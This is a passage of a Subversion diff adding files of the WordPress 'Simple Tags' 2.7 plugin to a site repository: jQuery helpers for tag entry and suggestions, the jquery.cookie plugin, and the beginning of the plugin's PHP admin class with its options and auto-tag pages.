+	jQuery('#taglist ul li span').bind("click", function(){
+		addTag(this.innerHTML, "renametag_old");
+		addTag(this.innerHTML, "deletetag_name");
+		addTag(this.innerHTML, "addtag_match");
+		addTag(this.innerHTML, "tagname_match");
+	});
+}
+	
+// Register ajax nav and reload event once ajax data loaded
+function registerAjaxNav() {
+	jQuery(".navigation a").click(function() {
+		jQuery("#ajax_area_tagslist").load(this.href, function(){
+  			registerClick();
+  			registerAjaxNav();
+		});
+		return false;
+	});
+}
+
+// Register initial event
+jQuery(document).ready(function() {
+	registerClick();
+	registerAjaxNav();
+});
+
+// Add tag into input
+function addTag( tag, name_element ) {
+	var input_element = document.getElementById( name_element );
+
+	if ( input_element.value.length > 0 && !input_element.value.match(/,\s*$/) )
+		input_element.value += ", ";
+
+	var comma = new RegExp(tag + ",");
+	if ( !input_element.value.match(comma) )
+		input_element.value += tag + ", ";
+
+	return true;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-options.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-options.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-options.js	(revision 44)
@@ -0,0 +1,32 @@
+jQuery(document).ready( function() {
+	jQuery('#printOptions').tabs({
+		cookie: { expires: 30 },
+		fx: { opacity: 'toggle' } 
+	});
+	
+	jQuery('input#cloud_max_color')
+		.ready(function(){cloudMaxColor()})
+		.click(function(){cloudMaxColor()})
+		.blur(function(){cloudMaxColor()})
+		.change(function(){cloudMaxColor()})
+		.focus(function(){cloudMaxColor()});
+	
+	jQuery('input#cloud_min_color')
+		.ready(function(){cloudMinColor()})
+		.click(function(){cloudMinColor()})
+		.blur(function(){cloudMinColor()})
+		.change(function(){cloudMinColor()})
+		.focus(function(){cloudMinColor()});			
+});
+
+function cloudMaxColor() {
+	jQuery('div.cloud_max_color').css({
+		backgroundColor: jQuery('input#cloud_max_color').val()
+	});
+}
+						
+function cloudMinColor() {
+	jQuery('div.cloud_min_color').css({
+		backgroundColor: jQuery('input#cloud_min_color').val()
+	});
+}	
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-suggested-tags.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-suggested-tags.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-suggested-tags.js	(revision 44)
@@ -0,0 +1,89 @@
+jQuery(document).ready(function() {
+	jQuery("#suggestedtags h3.hndle span").html( html_entity_decode(stHelperSuggestedTagsL10n.title_bloc) );
+	jQuery("#suggestedtags .inside .container_clicktags").html( stHelperSuggestedTagsL10n.content_bloc );
+	
+	// Yahoo API
+	jQuery("a.yahoo_api").click(function() {
+		jQuery('#st_ajax_loading').show();
+		jQuery("#suggestedtags .container_clicktags").load( stHelperSuggestedTagsL10n.site_url + '/wp-admin/admin.php?st_ajax_action=tags_from_yahoo', {content:getContentFromEditor(),title:jQuery("#title").val(),tags:jQuery("#tags-input").val()}, function(){
+			registerClickTags();
+		});
+		return false;
+	});	
+	
+	// Tag The Net API
+	jQuery("a.ttn_api").click(function() {
+		jQuery('#st_ajax_loading').show();
+		jQuery("#suggestedtags .container_clicktags").load( stHelperSuggestedTagsL10n.site_url + '/wp-admin/admin.php?st_ajax_action=tags_from_tagthenet', {content:getContentFromEditor(),title:jQuery("#title").val()}, function(){
+			registerClickTags();
+		});
+		return false;
+	});
+	
+	// Local Tags Database
+	jQuery("a.local_db").click(function() {
+		jQuery('#st_ajax_loading').show();
+		jQuery("#suggestedtags .container_clicktags").load( stHelperSuggestedTagsL10n.site_url + '/wp-admin/admin.php?st_ajax_action=tags_from_local_db', {content:getContentFromEditor(),title:jQuery("#title").val()}, function(){
+			registerClickTags();
+		});
+		return false;
+	});
+});
+
+function getContentFromEditor() {
+	var data = '';
+	if ( (typeof tinyMCE != "undefined") && tinyMCE.activeEditor && !tinyMCE.activeEditor.isHidden() ) { // Tiny MCE
+		
+		var ed = tinyMCE.activeEditor;
+		if ( 'mce_fullscreen' == ed.id ) { 
+			tinyMCE.get('content').setContent(ed.getContent({format : 'raw'}), {format : 'raw'});
+		}
+		tinyMCE.get('content').save();
+		data = jQuery("#content").val();
+		
+	} else if ( typeof FCKeditorAPI != "undefined" ) { // FCK Editor
+	
+		var oEditor = FCKeditorAPI.GetInstance('content') ;
+		data = oEditor.GetHTML().stripTags();
+		
+	} else if ( typeof WYM_INSTANCES != "undefined" ) { // Simple WYMeditor
+	
+		data = WYM_INSTANCES[0].xhtml();
+		
+	} else { // No editor, just quick tags
+	
+		data = jQuery("#content").val();	
+		
+	}
+	
+	// Trim data
+	data = data.replace( /^\s+/, '' ).replace( /\s+$/, '' );
+	if ( data != '' ) {
+		data = strip_tags(data);
+	}
+	
+	return data;
+}
+
+function registerClickTags() {
+	jQuery("#suggestedtags .container_clicktags span").click(function() { 
+		addTag(this.innerHTML); 
+	});
+	
+	jQuery('#st_ajax_loading').hide();
+	if ( jQuery('#suggestedtags .inside').css('display') != 'block' ) {
+		jQuery('#suggestedtags').toggleClass('closed');
+	}	
+}
+
+function html_entity_decode(str) {
+	var ta = document.createElement("textarea");
+	ta.innerHTML = str.replace(/</g,"&lt;").replace(/>/g,"&gt;");
+	toReturn = ta.value;
+	ta = null;
+	return toReturn
+}
+
+function strip_tags(str) {
+   return str.replace(/&lt;\/?[^&gt;]+&gt;/gi, "");
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/jquery.cookie.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/jquery.cookie.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/jquery.cookie.js	(revision 44)
@@ -0,0 +1,96 @@
+/**
+ * Cookie plugin
+ *
+ * Copyright (c) 2006 Klaus Hartl (stilbuero.de)
+ * Dual licensed under the MIT and GPL licenses:
+ * http://www.opensource.org/licenses/mit-license.php
+ * http://www.gnu.org/licenses/gpl.html
+ *
+ */
+
+/**
+ * Create a cookie with the given name and value and other optional parameters.
+ *
+ * @example $.cookie('the_cookie', 'the_value');
+ * @desc Set the value of a cookie.
+ * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });
+ * @desc Create a cookie with all available options.
+ * @example $.cookie('the_cookie', 'the_value');
+ * @desc Create a session cookie.
+ * @example $.cookie('the_cookie', null);
+ * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain
+ *       used when the cookie was set.
+ *
+ * @param String name The name of the cookie.
+ * @param String value The value of the cookie.
+ * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.
+ * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.
+ *                             If a negative value is specified (e.g. a date in the past), the cookie will be deleted.
+ *                             If set to null or omitted, the cookie will be a session cookie and will not be retained
+ *                             when the the browser exits.
+ * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).
+ * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).
+ * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will
+ *                        require a secure protocol (like HTTPS).
+ * @type undefined
+ *
+ * @name $.cookie
+ * @cat Plugins/Cookie
+ * @author Klaus Hartl/klaus.hartl@stilbuero.de
+ */
+
+/**
+ * Get the value of a cookie with the given name.
+ *
+ * @example $.cookie('the_cookie');
+ * @desc Get the value of a cookie.
+ *
+ * @param String name The name of the cookie.
+ * @return The value of the cookie.
+ * @type String
+ *
+ * @name $.cookie
+ * @cat Plugins/Cookie
+ * @author Klaus Hartl/klaus.hartl@stilbuero.de
+ */
+jQuery.cookie = function(name, value, options) {
+    if (typeof value != 'undefined') { // name and value given, set cookie
+        options = options || {};
+        if (value === null) {
+            value = '';
+            options.expires = -1;
+        }
+        var expires = '';
+        if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
+            var date;
+            if (typeof options.expires == 'number') {
+                date = new Date();
+                date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
+            } else {
+                date = options.expires;
+            }
+            expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
+        }
+        // CAUTION: Needed to parenthesize options.path and options.domain
+        // in the following expressions, otherwise they evaluate to undefined
+        // in the packed version for some reason...
+        var path = options.path ? '; path=' + (options.path) : '';
+        var domain = options.domain ? '; domain=' + (options.domain) : '';
+        var secure = options.secure ? '; secure' : '';
+        document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
+    } else { // only name given, get cookie
+        var cookieValue = null;
+        if (document.cookie && document.cookie != '') {
+            var cookies = document.cookie.split(';');
+            for (var i = 0; i < cookies.length; i++) {
+                var cookie = jQuery.trim(cookies[i]);
+                // Does this cookie string begin with the name we want?
+                if (cookie.substring(0, name.length + 1) == (name + '=')) {
+                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
+                    break;
+                }
+            }
+        }
+        return cookieValue;
+    }
+};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/simple-tags.admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/simple-tags.admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/simple-tags.admin.php	(revision 44)
@@ -0,0 +1,2299 @@
+<?php
+class SimpleTagsAdmin {
+	var $version = '';
+
+	var $info;
+	var $options;
+	var $default_options;
+	var $db_options = 'simpletags';
+
+	var $posts_base_url = '';
+	var $options_base_url = '';
+
+	// Error management
+	var $message = '';
+	var $status = '';
+
+	// Tags for Editor
+	var $all_tags = false;
+	
+	// Tags list (management)
+	var $nb_tags = 50;
+
+	/**
+	 * PHP4 Constructor - Intialize Admin
+	 *
+	 * @return SimpleTagsAdmin
+	 */
+	function SimpleTagsAdmin( $default_options = array(), $version = '', $info = array() ) {		
+		// 1. load version number
+		$this->version = $version;
+		unset($version);
+
+		// 2. Set class property for default options
+		$this->default_options = $default_options;
+
+		// 3. Get options from WP
+		$options_from_table = get_option( $this->db_options );
+
+		// 4. Update default options by getting not empty values from options table
+		foreach( (array) $default_options as $default_options_name => $default_options_value ) {
+			if ( !is_null($options_from_table[$default_options_name]) ) {
+				if ( is_int($default_options_value) ) {
+					$default_options[$default_options_name] = (int) $options_from_table[$default_options_name];
+				} else {
+					$default_options[$default_options_name] = $options_from_table[$default_options_name];
+				}
+			}
+		}
+
+		// 5. Set the class property and unset no used variable
+		$this->options = $default_options;
+		unset($default_options);
+		unset($options_from_table);
+		unset($default_options_value);
+
+		// 6. Get info data from constructor
+		$this->info = $info;
+		unset($info);
+
+		// 8. Admin URL for Pagination and target
+		$this->posts_base_url = $this->info['siteurl'] . '/wp-admin/edit.php?page=';
+		$this->options_base_url = $this->info['siteurl'] . '/wp-admin/options-general.php?page=';
+
+		// 9. Admin Capabilities
+		add_action('init', array(&$this, 'initRoles'));
+
+		// 10. Admin menu
+		add_action('admin_menu', array(&$this, 'adminMenu'));
+		add_action('admin_notices', array(&$this, 'displayMessage'));		
+
+		// 11. Ajax action, JS Helper and admin action
+		add_action('admin_init', array(&$this, 'ajaxCheck'));
+		add_action('admin_init', array(&$this, 'checkFormMassEdit'));
+
+		// 12. Embedded Tags
+		if ( $this->options['use_embed_tags'] == 1 ) {
+			add_actions( array('save_post', 'publish_post', 'post_syndicated_item'), array(&$this, 'saveEmbedTags') );
+		}
+
+		// 13. Auto tags
+		if ( $this->options['use_auto_tags'] == 1 ) {
+			add_actions( array('save_post', 'publish_post', 'post_syndicated_item'), array(&$this, 'saveAutoTags') );		
+		}
+	
+		// 14. Save tags from advanced input
+		if ( $this->options['use_autocompletion'] == 1 ) {
+			add_actions( array('save_post', 'publish_post'), array(&$this, 'saveAdvancedTagsInput') );
+			add_action('do_meta_boxes', array(&$this, 'removeOldTagsInput'), 1 );
+		}
+
+		// 15. Box for post
+		add_action('admin_menu', array(&$this, 'helperClickTags_Post'), 1);
+		add_action('admin_menu', array(&$this, 'helperSuggestTags_Post'), 1);
+		add_action('admin_menu', array(&$this, 'helperAdvancedTags_Post'), 1);
+		
+		// 16. Box for Page
+		if ( $this->options['use_tag_pages'] == 1 ) {
+			add_action('admin_menu', array(&$this, 'helperClickTags_Page'), 1);
+			add_action('admin_menu', array(&$this, 'helperSuggestTags_Page'), 1);
+			add_action('admin_menu', array(&$this, 'helperAdvancedTags_Page'), 1);
+		}
+
+		// 17. Load JavaScript and CSS
+		$this->initJavaScript();
+	}
+	
+	function removeOldTagsInput() {
+		remove_meta_box('tagsdiv', 'post', 'side');
+	}
+
+	function initJavaScript() {
+		global $pagenow;
+		
+		// Register pages
+		$st_pages = array('st_manage', 'st_mass_tags', 'st_auto', 'st_options');
+		$wp_post_pages = array('post.php', 'post-new.php');
+		$wp_page_pages = array('page.php', 'page-new.php');
+		
+		// Register all JS
+		wp_register_script('st-helper-js-collection', $this->info['siteurl'].'/wp-admin/admin.php?st_ajax_action=helper_js_collection', array('jquery', 'st-helper-add-tags'), $this->version);
+		wp_register_script('st-bcomplete', $this->info['install_url'].'/inc/js/bcomplete.js', array('jquery', 'prototype', 'st-helper-add-tags', 'st-helper-js-collection'), $this->version);
+		wp_register_script('st-helper-bcomplete', $this->info['install_url'].'/inc/js/helper-bcomplete.js', array('st-bcomplete'), $this->version);
+		wp_register_script('st-helper-add-tags', $this->info['install_url'].'/inc/js/helper-add-tags.js', array('jquery'), $this->version);
+		wp_register_script('jquery-cookie', $this->info['install_url'].'/inc/js/jquery.cookie.js', array('jquery'), '1.0.0');
+		wp_register_script('st-helper-manage', $this->info['install_url'].'/inc/js/helper-manage.js', array('jquery'), $this->version);
+		wp_register_script('st-helper-options', $this->info['install_url'].'/inc/js/helper-options.js', array('jquery'), $this->version);
+		wp_register_script('st-helper-click-tags', $this->info['install_url'].'/inc/js/helper-click-tags.js', array('jquery', 'st-helper-add-tags'), $this->version);
+		wp_localize_script('st-helper-click-tags', 'stHelperClickTagsL10n', array(
+			'site_url' => $this->info['siteurl'],
+			'show_txt' => __('Display click tags', 'simpletags'),
+			'hide_txt' => __('Hide click tags', 'simpletags') ) );
+		wp_register_script('st-helper-suggested-tags', $this->info['install_url'].'/inc/js/helper-suggested-tags.js', array('jquery', 'st-helper-add-tags'), $this->version);
+		wp_localize_script('st-helper-suggested-tags', 'stHelperSuggestedTagsL10n', array(
+			'site_url' => $this->info['siteurl'], 
+			'title_bloc' => $this->getSuggestTagsTitle(),
+			'content_bloc' => __('Choose a provider to get suggested tags (local, yahoo or tag the net).', 'simpletags') ) );
+
+		// Register all CSS
+		wp_register_style ('st-admin', $this->info['install_url'].'/inc/css/simple-tags.admin.css', array(), $this->version, false );
+		wp_register_style ('st-bcomplete', $this->info['install_url'].'/inc/css/bcomplete.css', array(), $this->version, false );
+		wp_register_style ('st-bcomplete-rtl', $this->info['install_url'].'/inc/css/bcomplete-rtl.css', array('st-bcomplete'), $this->version, false );
+		
+		// Common Helper for Post, Page and Plugin Page
+		if ( in_array($pagenow, $wp_post_pages) || 
+			(in_array($pagenow, $wp_page_pages) && $this->options['use_tag_pages'] == 1) || 
+			in_array($_GET['page'], $st_pages) ) {
+
+			wp_enqueue_style ('st-admin');	
+		}
+		
+		// Helper for posts/pages 
+		if ( in_array($pagenow, $wp_post_pages) || (in_array($pagenow, $wp_page_pages) && $this->options['use_tag_pages'] == 1 ) ) {
+			if ( ((int) wp_count_terms('post_tag', 'ignore_empty=true')) != 0 ) {
+			
+				if ( $this->options['use_autocompletion'] == 1 ) {
+					wp_enqueue_script('st-helper-bcomplete');
+					wp_enqueue_style ('st-bcomplete' );
+					if ( 'rtl' == get_bloginfo( 'text_direction' ) ) {
+						wp_enqueue_style ('st-bcomplete-rtl');
+					}
+				}
+				
+				if ( $this->options['use_click_tags'] == 1 ) 
+					wp_enqueue_script('st-helper-click-tags');
+					
+				if ( $this->options['use_suggested_tags'] == 1 )
+					wp_enqueue_script('st-helper-suggested-tags');
+				
+			}	
+		}
+		
+		// add jQuery tabs for options page. Use jQuery UI Tabs from WP
+		if ( $_GET['page'] == 'st_options' ) {
+			wp_enqueue_script('jquery-ui-tabs');
+			wp_enqueue_script('jquery-cookie');
+			wp_enqueue_script('st-helper-options');
+		}
+		
+		// add JS for manage tages page
+		if ( $_GET['page'] == 'st_manage' ) {
+			wp_enqueue_script('st-helper-manage');
+		}
+		
+		// add JS for auto tags page
+		if ( $_GET['page'] == 'st_auto' ) {
+			wp_enqueue_script('st-helper-bcomplete');
+			wp_enqueue_style ('st-bcomplete' );
+			if ( 'rtl' == get_bloginfo( 'text_direction' ) ) {
+				wp_enqueue_style ('st-bcomplete-rtl');
+			}
+		}
+		
+		// add JS for Mass Edit Tags
+		if ( $_GET['page'] == 'st_mass_tags' ) {
+			if ( ((int) wp_count_terms('post_tag', 'ignore_empty=true')) != 0 ) { // If tags exist, load JS.
+				$this->all_tags = true;
+				
+				wp_enqueue_script('st-bcomplete');
+				wp_enqueue_style ('st-bcomplete' );
+				if ( 'rtl' == get_bloginfo( 'text_direction' ) ) {
+					wp_enqueue_style ('st-bcomplete-rtl');
+				}
+			}
+		}
+	}
+	
+	function initRoles() {
+		if ( function_exists('get_role') ) {
+			$role = get_role('administrator');
+			if( $role != null && !$role->has_cap('simple_tags') ) {
+				$role->add_cap('simple_tags');
+			}
+			if( $role != null && !$role->has_cap('admin_simple_tags') ) {
+				$role->add_cap('admin_simple_tags');
+			}
+			// Clean var
+			unset($role);
+			
+			$role = get_role('editor');
+			if( $role != null && !$role->has_cap('simple_tags') ) {
+				$role->add_cap('simple_tags');
+			}
+			// Clean var
+			unset($role);
+		}
+	}
+
+	/**
+	 * Add WP admin menu for Tags
+	 *
+	 */
+	function adminMenu() {	
+		add_posts_page( __('Simple Tags: Manage Tags', 'simpletags'), __('Manage Tags', 'simpletags'), 'simple_tags', 'st_manage', array(&$this, 'pageManageTags'));
+		add_posts_page( __('Simple Tags: Mass Edit Tags', 'simpletags'), __('Mass Edit Tags', 'simpletags'), 'simple_tags', 'st_mass_tags', array(&$this, 'pageMassEditTags'));
+		add_posts_page( __('Simple Tags: Auto Tags', 'simpletags'), __('Auto Tags', 'simpletags'), 'simple_tags', 'st_auto', array(&$this, 'pageAutoTags'));	
+		add_options_page( __('Simple Tags: Options', 'simpletags'), __('Simple Tags', 'simpletags'), 'admin_simple_tags', 'st_options', array(&$this, 'pageOptions'));
+	}
+	
+	/**
+	 * WP Page - Auto Tags
+	 *
+	 */
+	function pageAutoTags() {
+		$action = false;
+		if ( isset($_POST['update_auto_list']) ) {
+			// Tags list
+			$tags_list = stripslashes($_POST['auto_list']);
+			$tags = explode(',', $tags_list);
+
+			// Remove empty and duplicate elements
+			$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+			$tags = array_unique($tags);
+
+			$this->setOption( 'auto_list', maybe_serialize($tags) );
+
+			// Active auto tags ?
+			if ( $_POST['use_auto_tags'] == '1' ) {
+				$this->setOption( 'use_auto_tags', '1' );
+			} else {
+				$this->setOption( 'use_auto_tags', '0' );
+			}
+			
+			// All tags ?
+			if ( $_POST['at_all'] == '1' ) {
+				$this->setOption( 'at_all', '1' );
+			} else {
+				$this->setOption( 'at_all', '0' );
+			}
+			
+			// Empty only ?
+			if ( $_POST['at_empty'] == '1' ) {
+				$this->setOption( 'at_empty', '1' );
+			} else {
+				$this->setOption( 'at_empty', '0' );
+			}
+
+			$this->saveOptions();
+			$this->message = __('Auto tags options updated !', 'simpletags');
+		} elseif ( $_GET['action'] == 'auto_tag' ) {
+			$action = true;
+			$n = ( isset($_GET['n']) ) ? intval($_GET['n']) : 0;
+		}
+
+		$tags_list = '';
+		$tags = maybe_unserialize($this->options['auto_list']);
+		if ( is_array($tags) ) {
+			$tags_list = implode(', ', $tags);
+		}
+		$this->displayMessage();
+		?>
+		<div class="wrap st_wrap">
+			<h2><?php _e('Auto Tags', 'simpletags'); ?></h2>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+
+			<?php if ( $action === false ) : ?>
+
+				<h3><?php _e('Auto tags list', 'simpletags'); ?></h3>
+				<p><?php _e('This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word "WordPress" and you have "wordpress" in auto tags list, Simple Tags will add automatically "wordpress" as tag for this post.', 'simpletags'); ?></p>
+
+				<h3><?php _e('Options', 'simpletags'); ?></h3>
+				<form action="<?php echo $this->posts_base_url.'st_auto'; ?>" method="post">
+					<table class="form-table">
+						<tr valign="top">
+							<th scope="row"><?php _e('Activation', 'simpletags'); ?></th>
+							<td>
+								<input type="checkbox" id="use_auto_tags" name="use_auto_tags" value="1" <?php echo ( $this->options['use_auto_tags'] == 1 ) ? 'checked="checked"' : ''; ?>  />
+								<label for="use_auto_tags"><?php _e('Active Auto Tags.', 'simpletags'); ?></label>
+							</td>
+						</tr>
+						<tr valign="top">
+							<th scope="row"><?php _e('Tags database', 'simpletags'); ?></th>
+							<td>
+								<input type="checkbox" id="at_all" name="at_all" value="1" <?php echo ( $this->options['at_all'] == 1 ) ? 'checked="checked"' : ''; ?>  />
+								<label for="at_all"><?php _e('Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)', 'simpletags'); ?></label>
+							</td>
+						</tr>
+						<tr valign="top">
+							<th scope="row"><?php _e('Target', 'simpletags'); ?></th>
+							<td>
+								<input type="checkbox" id="at_empty" name="at_empty" value="1" <?php echo ( $this->options['at_empty'] == 1 ) ? 'checked="checked"' : ''; ?>  />
+								<label for="at_empty"><?php _e('Autotag only posts without tags.', 'simpletags'); ?></label>
+							</td>
+						</tr>
+						<tr valign="top">
+							<th scope="row"><label for="adv-tags-input"><?php _e('Keywords list', 'simpletags'); ?></label></th>
+							<td>
+								<input type="text" id="adv-tags-input" class="adv-tags-input" name="auto_list" value="<?php echo $tags_list; ?>" />
+								<br /><?php _e('Separated with a comma', 'simpletags'); ?>
+							</td>
+						</tr>
+					</table>						
+
+					<p class="submit"><input class="button" type="submit" name="update_auto_list" value="<?php _e('Update options &raquo;', 'simpletags'); ?>" />
+				</form>
+
+				<h3><?php _e('Auto tags old content', 'simpletags'); ?></h3>
+				<p><?php _e('Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned.', 'simpletags'); ?> <a class="button" style="font-weight:700;" href="<?php echo $this->posts_base_url.'st_auto'; ?>&amp;action=auto_tag"><?php _e('Auto tags all content &raquo;', 'simpletags'); ?></a></p>
+
+			<?php else:
+				// Counter
+				if ( $n == 0 ) {
+					update_option('tmp_auto_tags_st', 0);
+				}	
+
+				// Page or not ?
+				$post_type_sql = ( $this->options['use_tag_pages'] == '1' ) ? "post_type IN('page', 'post')" : "post_type = 'post'";
+
+				// Get objects
+				global $wpdb;
+				$objects = (array) $wpdb->get_results("SELECT p.ID, p.post_title, p.post_content FROM {$wpdb->posts} p WHERE {$post_type_sql} ORDER BY ID DESC LIMIT {$n}, 20");
+				
+				if( !empty($objects) ) {
+					echo '<ul>';
+					foreach( $objects as $object ) {
+						$this->autoTagsPost( $object );			
+
+						echo '<li>#'. $object->ID .' '. $object->post_title .'</li>';
+						unset($object);
+					}					
+					echo '</ul>';
+					?>
+					<p><?php _e("If your browser doesn't start loading the next page automatically click this link:", 'simpletags'); ?> <a href="<?php echo $this->posts_base_url.'st_auto'; ?>&amp;action=auto_tag&amp;n=<?php echo ($n + 20) ?>"><?php _e('Next content', 'simpletags'); ?></a></p>
+					<script type="text/javascript">
+						// <![CDATA[
+						function nextPage() {
+							location.href = '<?php echo $this->posts_base_url.'st_auto'; ?>&action=auto_tag&n=<?php echo ($n + 20) ?>';
+						}
+						window.setTimeout( 'nextPage()', 300 );
+						// ]]>
+					</script>
+					<?php
+				} else {
+					$counter = get_option('tmp_auto_tags_st');
+					delete_option('tmp_auto_tags_st');
+					echo '<p><strong>'.sprintf(__('All done! %s tags added.', 'simpletags'), $counter).'</strong></p>';
+				}
+				
+			endif;
+			$this->printAdminFooter(); ?>
+		</div>
+		<?php
+	}
+
+	/**
+	 * WP Page - Tags options
+	 *
+	 */
+	function pageOptions() {
+		$option_data = array(
+			'general' => array(
+				array('use_tag_pages', __('Active tags for page:', 'simpletags'), 'checkbox', '1',
+					__('This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page.', 'simpletags')),
+				array('allow_embed_tcloud', __('Allow tag cloud in post/page content:', 'simpletags'), 'checkbox', '1',
+					__('Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud.', 'simpletags')),
+				array('no_follow', __('Add the rel="nofollow" on each tags link ?', 'simpletags'), 'checkbox', '1',
+					__("Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index.",'simpletags'))
+			),
+			'administration' => array(
+				array('use_click_tags', __('Activate click tags feature:', 'simpletags'), 'checkbox', '1',
+					__('This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post.', 'simpletags')),
+				array('use_autocompletion', __('Activate autocompletion feature:', 'simpletags'), 'checkbox', '1',
+					__('This feature displays a visual help allowing to enter tags more easily. As well add tags is easier than the autocompletion default of WordPress', 'simpletags')),
+				array('use_suggested_tags', __('Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)', 'simpletags'), 'checkbox', '1', 
+					__('This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)', 'simpletags'))	
+			),
+			'auto-links' => array(
+				array('auto_link_tags', __('Active auto link tags into post content:', 'simpletags'), 'checkbox', '1',
+					__('Example: You have a tag called "WordPress" and your post content contains "wordpress", this feature will replace "wordpress" by a link to "wordpress" tags page. (http://myblog.net/tag/wordpress/)', 'simpletags')),
+				array('auto_link_min', __('Min usage for auto link tags:', 'simpletags'), 'text', '1',
+					__('This parameter allows to fix a minimal value of use of tags. Default: 1.', 'simpletags')),
+				array('auto_link_max_by_post', __('Maximum number of links per article:', 'simpletags'), 'text', '10',
+					__('This setting determines the maximum number of links created by article. Default: 10.', 'simpletags')),
+				array('auto_link_case', __('Ignore case for auto link feature ?', 'simpletags'), 'checkbox', '1',
+					__('Example: If you ignore case, auto link feature will replace the word "wordpress" by the tag link "WordPress".', 'simpletags'))
+			),
+			'metakeywords' => array(
+				array('meta_autoheader', __('Automatically include in header:', 'simpletags'), 'checkbox', '1',
+					__('Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin "All in One SEO Pack" is installed and enabled. This feature is automatically disabled.', 'simpletags')),
+				array('meta_always_include', __('Always add these keywords:', 'simpletags'), 'text', 80),
+				array('meta_keywords_qty', __('Max keywords display:', 'simpletags'), 'text', 10,
+					__('You must set zero (0) for display all keywords in HTML header.', 'simpletags'))				
+			),
+			'embeddedtags' => array(
+				array('use_embed_tags', __('Use embedded tags:', 'simpletags'), 'checkbox', '1',
+					__('Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post.', 'simpletags')),
+				array('start_embed_tags', __('Prefix for embedded tags:', 'simpletags'), 'text', 40),
+				array('end_embed_tags', __('Suffix for embedded tags:', 'simpletags'), 'text', 40)
+			),
+			'tagspost' => array(
+				array('tt_feed', __('Automatically display tags list into feeds', 'simpletags'), 'checkbox', '1'),
+				array('tt_embedded', __('Automatically display tags list into post content:', 'simpletags'), 'dropdown', 'no/all/blogonly/feedonly/homeonly/singularonly/pageonly/singleonly',
+					'<ul>
+						<li>'.__('<code>no</code> &ndash; Nowhere (default)', 'simpletags').'</li>
+						<li>'.__('<code>all</code> &ndash; On your blog and feeds.', 'simpletags').'</li>
+						<li>'.__('<code>blogonly</code> &ndash; Only on your blog.', 'simpletags').'</li>
+						<li>'.__('<code>homeonly</code> &ndash; Only on your home page.', 'simpletags').'</li>
+						<li>'.__('<code>singularonly</code> &ndash; Only on your singular view (single & page).', 'simpletags').'</li>
+						<li>'.__('<code>singleonly</code> &ndash; Only on your single view.', 'simpletags').'</li>
+						<li>'.__('<code>pageonly</code> &ndash; Only on your page view.', 'simpletags').'</li>
+					</ul>'),
+				array('tt_separator', __('Post tag separator string:', 'simpletags'), 'text', 10),				
+				array('tt_before', __('Text to display before tags list:', 'simpletags'), 'text', 40),
+				array('tt_after', __('Text to display after tags list:', 'simpletags'), 'text', 40),
+				array('tt_number', __('Max tags display:', 'simpletags'), 'text', 10,
+					__('You must set zero (0) for display all tags.', 'simpletags')),
+				array('tt_inc_cats', __('Include categories in result ?', 'simpletags'), 'checkbox', '1'),
+				array('tt_xformat', __('Tag link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('tt_notagstext', __('Text to display if no tags found:', 'simpletags'), 'text', 80),
+				array('tt_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags'))
+			),
+			'relatedposts' => array(
